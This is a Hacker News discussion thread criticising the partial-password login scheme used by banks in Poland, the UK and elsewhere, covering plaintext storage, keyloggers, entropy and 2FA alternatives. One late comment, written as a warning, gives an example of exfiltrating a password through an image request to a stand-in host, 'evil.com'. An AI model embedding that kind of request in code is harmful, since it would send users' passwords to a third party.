Hacker News new | past | comments | ask | show | jobs | submit login
Partial password usability sucks (gaevoy.com)
43 points by gaevoy on Mar 6, 2019 | hide | past | favorite | 84 comments

> The idea is good it gives you an extra layer of protection against password theft (link 1, link 2, link 3).

That sounds obnoxiously insecure on the back-end. Notoriously, the most broken authentication mechanisms used plaintext (or reversibly encrypted) storage. The answers to the three security questions that the article links to also point this out.

Sounds like ING Poland needs to be called out by some security researchers.

[0] https://security.stackexchange.com/a/194818/47800

[1] https://security.stackexchange.com/a/7479/47800

[2] https://security.stackexchange.com/a/196430/47800

What's more likely - that the bank gets hacked, or that you install a keylogger?

Also there are ways to implement this without keeping the whole password in plaintext/reversibly encrypted. One example I just thought of:

Ask for 75% of the password each time, remember random 1/3rd of that (25% of full password) till the next login together with the hash, and on the next login ask for all the letters you haven't remembered (and fill the ones you remembered, then hash everything and compare).

You can adjust the percentages as needed if having 25% of the password in clear text is too insecure.

> What's more likely - that the bank gets hacked, or that you install a keylogger?

Given the (apparent) lack of security for the bank, I'd say the former. IF the bank was actually secure, then sure it'd be more likely for me to have a keylogger.

> Also there are ways to implement this without keeping the whole password in plaintext/reversibly encrypted


> One example I just thought of: Ask for 75% of the password each time, remember random 1/3rd of that (25% of full password) till the next login together with the hash, and on the next login ask for all the letters you haven't remembered (and fill the ones you remembered, then hash everything and compare).

I challenge you to really think about what you're proposing to do. I think it's far more convoluted: it does not solve the keylogger problem and adds complexity to both the client and the server. If you think I'm wrong, then write it up in a spec and show us.

> If you think I'm wrong, then write it up in a spec and show us.

Sure. It's fun.

On password creation:

0.0. demand 25% longer passwords from users than considered safe

0.1. along with the hash of the whole password remember a randomly choosen 25% of the characters of the password and their positions (in clear text or reversibly encrypted)

On each login:

1.0. ask only for the characters in positions you haven't remembered

1.1. server-side fill the positions you remembered

1.2. hash the result and see if it matches

If hash matches:

2.0. randomly choose 1/3rd of the freshly provided positions and remember them in clear text on server replacing the previous ones

2.1. give access

If hash doesn't match:

3.0. deny access, don't change anything on server

If I understand correctly - to get the whole password keylogger must be specific to this bank site (to understand which characters are provided), and must be active on at least 4 logins. In my book that's a big improvement.

And I can imagine writing the login page in a way that makes parsing it in keylogger to understand which characters are masked.

> If I understand correctly - to get the whole password keylogger must be specific to this bank site (to understand which characters are provided), and must be active on at least 4 logins. In my book that's a big improvement.

The difference in difficulty of keylogging 4 logins, and 1 login is, in practice, small. Once your computer is pwned, all bets are off.

I think there's a big difference between capturing the whole password at once, and having to reconstruct it contextually - it may be difficult to recover the typing context. Even if the context is known 100% reliably, it will take far more than 4 logins to scrape enough information to reconstruct the password - you need overlap to match the fragments. It the user visits any other site that uses a similar scheme, it gets harder. If a a site chooses to 'salt' the password by making the user retype random characters, it gets much harder - now you need enough logins to apply statistical analysis. If the site makes the user type the characters in the wrong order, you can't reassemble the password at all - all you can do is guess the order.

To gather enough contextual information to defeat all this reliably, the keylogger would also need to be a screen scraper, internet monitor, etc. Straight away, this defeats the not-uncommon case of the inline USB keylogger.

Someone breaking into my apartment, and putting an inline USB keylogger on my computer, that is incapable of doing anything but recording keystrokes, to steal my banking login, is both seriously overthinking their crimes, and, at the same time, seriously underachieving.

That spec seems pretty nice (if rough) and I think I understand what you're trying to do. But, I must agree with @vkou; like I said earlier, it does not solve the keylogger problem.

If there's a keylogger on the system then it'd be trivial to log out the user a few times (and combine with manipulating what the user even sees such as which locations of the password to enter), or just simply be more patient.

Also, what about database backups? Given enough of them and the ever-increasing frequency they occur and time that backups live, you could recreate more of the user's password than intended.

If you only remember 25% of the characters, then you have to ask for 75% of the characters to generate the full hash. Asking for 75% of the characters defeats the purported reasons for partial password auth.

Why? Now all the universal keyloggers don't work (because they remember which keys were pressed, but not which positions they refer to).

Keyloggers don't wrap themselves up after the first log in. They could easily take the data from several log-ins (if they can't scan the HTML) and eventually get a complete password.

Besides which, the partial login isn't random either. It's always sequential. You'll never be asked to enter character 3, then 1, then 8. It will always be asked in the same order as the password string itself.

> It's always sequential.

It's monotonic, but not sequential. On one login you will be asked for positions 1,3,4,7,9, 10, on another you will be asked for letters 1,2,5,6,7,8. Merging such partial information isn't trivial if you don't know which positions you got.

Let's say you have 16-letter password. That's 4 missing letters during each login.

There's (16 over 4) = 1820 possible ways that the characters the keylogger see can be positioned in the real password.

You get 75% of the letters every time, in order. It's pretty trivial to merge these together after a few examples. Every time you ask for a set of characters, the set of possible outcomes shrinks, and 1820 isn't exactly a large set of possibilities to start with (for your 16-character example).

Given that most people do not use random passwords (and are even less likely to in with a scheme like this), guessing the missing characters is likely trivial for most passwords.

Also the scheme you're describing is very clearly not the one in use here given that they asked for only 4 characters.

When computers can generate billions of hashes per second, what makes you think a mere 1820 possible considerations are significant?

I mean... for keyloggers and easier approach is just to distribute some sort of possession authentication device (like a dongle or codes via SMS) where a replayed password will fail to work or... insist that passwords meet some crazy entropy requirements (like 48 characters) and provide download links to password managers that can assist in generating/storing these along with some rudimentary education efforts on the site.

Sms codes are used anyway, to authorize transfers and changes in the account.

> What's more likely - that the bank gets hacked, or that you install a keylogger?

The bank gets hacked. I say this with the utmost certainty because while I haven't been hacked since I started behaving securely at 15 years old, my bank that uses partial passwords was recently hacked. I live in Pakistan, a lot of banks were hacked 2018-2019.

I also complained to them about saving passwords in plaintext. They never replied. Every bank in my country is terrible.

So you're still storing part of the plaintext... That's still insecure

Plus, the keylogger could just collect a few logins and it completely defeats the whole thing, so it doesn't help anyway. It's just terrible, it makes everything worse

25% of the password. Shouldn't matter that much. And you can change the percentages to for example 10% (asking for 90% of the password each time). Demand slightly longer passwords if that's a big problem.

Hm, actually instead of masking the password to defeat keyloggers they could also just permutate the characters. So that you have to enter password in different order each time. But usability would suck so much :) I prefer the masking.

Also - universal keylogger wouldn't know which characters of the passwords you were asked for. They would need to make a keylogger designed for this bank website so it can understand which characters you provide. And they would need to update the keylogger with updates on the login website (which preasumably would be written in a way that makes it hard to know which characters these are - for example with randomly generated ids of the input fields and provided in random order then positioned with javascript).

I know - security by obscurity. But it does help.

I'm sure it will help the bank's helpdesk job security, but not much else.

Remembering a specific character of a password is not easy to do, so people will probably type it into notepad and then count to get the right one anyways.

TOTP is much more usable, and probably more secure than inventing your own ridiculous partial password scheme.

You just spell your password in your mind and when the character is needed you press the key, when it's not needed you don't. The login site looks like this:

    [x] [ ] [x] [ ] [ ] [ ] [ ] [x] [ ] [ ] [ ] [x] [ ]
And when you press a key it jumps to the next empty field.

If you actually use random passwords, this isn't possible. You have to pull up your password in plaintext so you can view it in its entirety and manually count to the correct character,

This partial password stuff is just utter garbage. It's lower security than a typical password, way lower security than multi-factor auth, blocks use of password managers, and is generally inconvenient for no good reason.

I don’t spell passwords in my mind; I have muscle memory for the password.

Well, yes, it's slower. But not by much. A few seconds.

Some of my passwords I have memorized only as muscle memory. Without going into too much detail, if I didn’t have a qwerty keyboard, I wouldn’t be able to enter it without a couple minutes of thinking “okay, this key is there on a qwerty keyboard...”

I create my passwords from long, easy-to-remember sentences that I sample to be like 15-25 characters long with capitalization and special characters added in a pattern.

Makes it easy to remember the password without muscle memory.

This means you're re-using passwords. There is zero chance that you remember hundreds of unique passwords for all the different sites you need access to. Good money says that your pattern is extremely predictable and anyone who sees one or two of your passwords has enough context to know the pattern for all other passwords.

I have exactly the same issue with my passwords. I can remember what the letters, numbers, and symbols are, but I can only remember which letters are uppercase by typing it out on a keyboard.

My bank has been hacked (affecting my account) twice since I started using it, but I'm yet to see any effect of a successful attack against my machines...

Considering that password databases are getting leaked on a regular basis at this point, depending on any specific password database not getting leaked is a pretty bad bet.

How many users get compromised if a bank gets compromised vs. if one user installs a keylogger?

The answer in your [0] link is pretty uninformed. The author admits in comments that they never heard about Shamir's secret sharing.

But yes, all of the points raised in the answers [1] are totally valid. The extra security benefit is so small that really not worth the negative impact on usability. System designers should rather focus more on implementing 2FA.

It took me a little bit to find the explanation for this scheme: https://web.archive.org/web/20160909032102/https://smartarch...

I'm not defending this strategy, but you could still do this with hashing. Just create a different hash for different combinations when creating the hash.

Your hash is going to be of a tiny set though, the same as a 4- or 5-character password. That's possible to brute force in seconds, even with the slowest algorithm.

Not only that, but enumerating all possible combinations of 4 or 5 characters from a 20 character password would be untenable.

Also, if all those combinations were stored would the software use separate salts for each one? Well designed software would but I suspect anyone intelligent enough to consider that would also raise a loud voice at the meeting where this feature was being discussed. They probably use a common salt and if it's known how long (at most) each partial password is (say 5 characters) it's super trivial to generate a rainbow table to break it.

Honestly, even if the salting was done independently per chunk, the fact that you know each chunk is under 5 characters long massively reduces the time to generate a rainbow table to verify the password, even more so if the entry field only allows 36 character entry.

Again, not defending this I'm just being technical. You wouldn't need every permutation. 100 is probably plenty.

20 choose 5 = 15504. You could enumerate them all in less than a second and store all the hashes in less than a megabyte.

Problem with this is that you just transform the problem into generating collisions on multiple hashes of multiple short strings, rather than one collision on a long string. Even if you salt the hash, you have a substantially smaller search space on each of the sub-sequence hashes.

I was just going to comment that implementing this requires storing the password in cleartext on their servers... that's absolutely terrible and not at all best-practice... in fact, the furthest thing from!

> Open partial-password.github.io & copy-paste your password there.

Sounds like a great idea, let's all paste our bank passwords in this website!

Banks have peculiar ideas about security sometimes, I don't think this partial password business will have a net positive effect (especially if people use "solutions" like these and potentially send their password to a third party)

Exactly this. I have the misfortune of occasionally needing to deal with an online banking portal (located in South Africa) that uses this stupid scheme. Every time I log in, I wish an eternity of torture on the idiots who came up with it.

I just cannot imagine the thought process of the people who though that partial passwords could be better in any way than classic passwords.

Banks especially seem heavily "invested" in finding the biggest/laziest loopholes in security laws that they can and driving forklifts through them for as long as possible.

In the 90s, laws in multiple countries asked banks to research and implement Two-Factor security. They invented all of these stupid, stupid Wish-It-Were-Two-Factor things that are not Two-Factor but "feel Two-Factor enough" to avoid actually deploying proper 2FA, but avoid security fines: "Security Questions" (bonus passwords, still 1FA), multi-step login with "user selected pictures" (not an extra factor, just a silly memory game to potentially cut down on phishing), "partial passwords" (still 1FA).

(Then other idiot sites copy these "security best practices" because Banks use them, rather than actual security best practices.)

It is starting to seem like a lot of the money spent on the development effort of these "not 2FA" workarounds and portal workflows could easily have just paid for sending every bank customer a YubiKey or three by now.


Similar thing but .NET windows app.

And yes pasting your password into some guys website is ridiculous :p

Make your security policy difficult enough to comply with, and people will find workarounds like pasting their passwords into strangers' websites.

Or people will just pick short passwords so its easier to count along the chars in their head. Again, not a thing we really want to encourage.

Perhaps I'm misunderstanding the security model behind this, but why should the site be storing my password's length at all? Why does it know I have a 10th character at all? The site should just have a hash of my password (normalizing the length).

I can't think of any way that this could be made secure outside of specialized hardware. If a system exists that can query some static data for whether a selected subset of characters is correct, then brute-forcing the underlying password becomes stupidly trivial.

Similarly for pre-hashing certain subsets; a four-character password can be too easily brute forced.

I guess (hope) they just have a collection of patterns that they apply (like (3, 9, 11, 12, 15) from the OP), and when they store your password's hash, they also store the hash of those several characters so that they can present the pattern to you later and check whether you matched the pattern correctly.

5 characters is "pretty simple to bruteforce" area, and now you've got 5 characters, replicate that for the other patterns, and you can probably crack the whole password pretty easy

so they have built a rainbow table ready to download

"Please enter your password in this mutable github pages page." Eek.

I have a real desire for a document firewall mode where nothing can enter or leave.

Nor be stored for later retrieval.

Such a firewall, when disabled, would essentially have to restore the whole page memory to how it was when it was enabled, and block access to localStorage / IndexedDB / Cookies / Cache.

Partial passwords are a terrible idea for a multitude of reasons but one in particular stands out to me. We have come to the general conclusion that humans shouldn't remember their passwords, they should remember one complicated pass key that is linked to a number of otherwise inaccessible secret keys used to interact with servers but, let's step back for a moment and assume people are remembering their passwords (which most people not on HN still do)...

A password has an entropy n, a higher n yields more security but comes at a cost in terms of memory power, I think it's reasonable to state that very high entropy passwords exhaust our memory quite quickly which is why password reuse is so common, this particular authentication is requiring the user to have a high entropy password n, and then is reducing it to an entropy m where m is at most as large as n (usually much smaller) and using that for authentication.

We, users and tech people, don't care about the cost to transmit bits over the wire or the cost to verify those bits on the far end (in this scenario) we care about the cost on the user's memory more than anything so why are we optimizing this puzzle to be least efficient for our most valuable resource.

When I first read this article I thought this practice was silly, now it strikes me as stupid... it is a transformation that simply discards some of the potential security of the system for no reason.

(Also, banks love ease of use, which is why up here in Canada they love to send out password dongles to customers that make it even easier to log in to a site than this while still requiring possession of a physical thing - and many of those dongles require additional authentication to activate whenever using, though not all)

Advice and tactics for passwords have been bad for a long time, perhaps even comically so:


I agree, and a concise response to this article can pretty much be summed up as "Don't roll your own security" for... the fun of it I suppose, I wanted to take a swing at one particularly (IMO) good tear down of why it's stupid for technical reasons, but simply rubber stamping "Don't roll your own security" is pretty acceptable on any of these proposals.

This stuff is complicated, if you're a professional at it good on you, it's a tough job, otherwise... just listen to the professionals/best practices and don't feel the urge to be creative, you'll probably break something. It is possible that everyone is wrong, but it's unlikely... and when everyone is wrong (for example Dual_EC_DRBG) if you're using that system it'll be hard not to be aware of the issue when it comes to light.

That's such a strange UI. I couldn't tell you the fifth letter of most words without writing them down, let alone that of my 20 character passwords.

It's used by almost all UK banks as well, sadly. One of my accounts (First Direct) has max length of only 8 characters.

That is criminally poor. The most likely point of failure in most bank accounts nowadays is not the bank, it's the online banking portal. 8 characters is stupidly poor for potentially complete access to your bank account.

I hope they insist you use one of those card readers too.

You just spell it in your mind going through all the letters and only press keys where asked.

I'm recently switched from a bank that uses regular passwords to a bank that uses partial passwords, and it took me a week or so to get used to this, and it is a little slower (takes me like 10 seconds instead of 1), but it's nothing significant.

You have made the assumption that everyone who uses strong passwords can remember them in their head :-)

10x worse is pretty bad, even though it is only 10 seconds total.

Coming soon to a Poland near you: partial fingerprint authentication at ATMs:

"Please put these tiny stickers in the correct locations on your thumb, and then press it against the sensor ..."

How about "Spit on this sensor to see your checking account balance"?

With a collection gutter at the bottom, from which your yearly interest will be derived.

I'd love to run some math on the entropy this actually gives you... If you assume people are using common dictionary word passwords, you could even develop special tables based on common letter positions or substrings.

Assuming a character is 5 bits of entropy...

An 8 character password gives you 8 choose 4 = 70 possible variations it could ask. Each variation is 4 characters (20 bits of entropy). So, that brings it up to 20+log2(70)=26.1 bits of entropy for an 8 character password... Compared to 40 bits of entropy normally...

And that's not even accounting for using common words/phrases. This scheme seems to lose about 1/3 the entropy.

12 character password gives only... 28.9 bits of entropy instead of the expected 60 bits.

And that's not even including more obvious attacks like stealing the plaintext from the server, since it obviously isn't salted on the server side (and it reveals the length of your password on the front end too??)

Edit: I noticed I used "choose 4" instead of "choose 5" but the math is similarly bad. I leave it as an exercise for the reader.

And an 12 character password only giving you ~500 possible subselections means if the 4 character string was stolen, you could brute force in within a few minutes. This is hardly better than than just leaking the entire password.

This sort of thing needs to be built into password managers.

Agreed but I'd rather they allow normal passwords where you can use the "password you can't remember" and U2F token like civilized people.

This sort of UI just needs to not exist imo.

The solution to keyloggers is not partial passwords. The solution is requiring two factors! In Norway there is a shared authentication infrastructure used by banks and other services called BankID: https://www.bankid.no/en/private/ They facilitate second factor auth either with an OTP device or via your cell phone's sim card. It just works.

All Norwegian banks use a password + second factor. And these days I think most of them have liberal password rules, in that you are allowed quite long passwords. Schemes like the one described in the post seems like a poor attempt at improving security.

So they are storing length and hashes of subsets of the password?

You could brute force a subset of 4-5 characters way easier than a 20 characters password.

How is this secure? Anyone care to explain how this adds security?

It doesn't. It's theater.

For the context: partial passwords have been the default and a de facto standard for Polish banks since early 2000s. They are not "cutting edge novel idea" but more a common legacy.

I think people got used to them, so changing this now for everyone would feel weird (and would probably annoy many).

In some banks you can opt-out in settings and have regular password instead.

I guess it's an equivalent of swipe cards in USA.

> If you don’t trust partial-password.github.io consider to save the page locally and run it from there

This doesn’t really make it safe per se, there still can be a script running that triggers an AJAX call in the background, sending the password to some web URL.

I think the assumption is that you would check the source code before executing it.

My solution to this:

i use password that contains only 5-letters words

so each new word starts at 1, 6, 11, 16, 21 etc

it's easy to scan the password for specific letter in memory this way

funny thing: i didn't do that on purpose. I just came up with a password that happend to have such words only.

PS. If author reads that maybe:

saving a webpage on disk can still be considered unsafe. you can send a password to the internet via various way, like insering an image with url: evil.com/pass.jpg?pass=enteredpassword

i m sure someone was promoted for this 'security innovation'

Convenient 2FA is the answer, not weird UX.

Lloyds TSB used to do the same. No idea if that’s still the case.

Halifax does it still. All the same bank really ;)

This is a retarded feature and I hated it when I had to use it.

Guidelines | FAQ | Support | API | Security | Lists | Bookmarklet | Legal | Apply to YC | Contact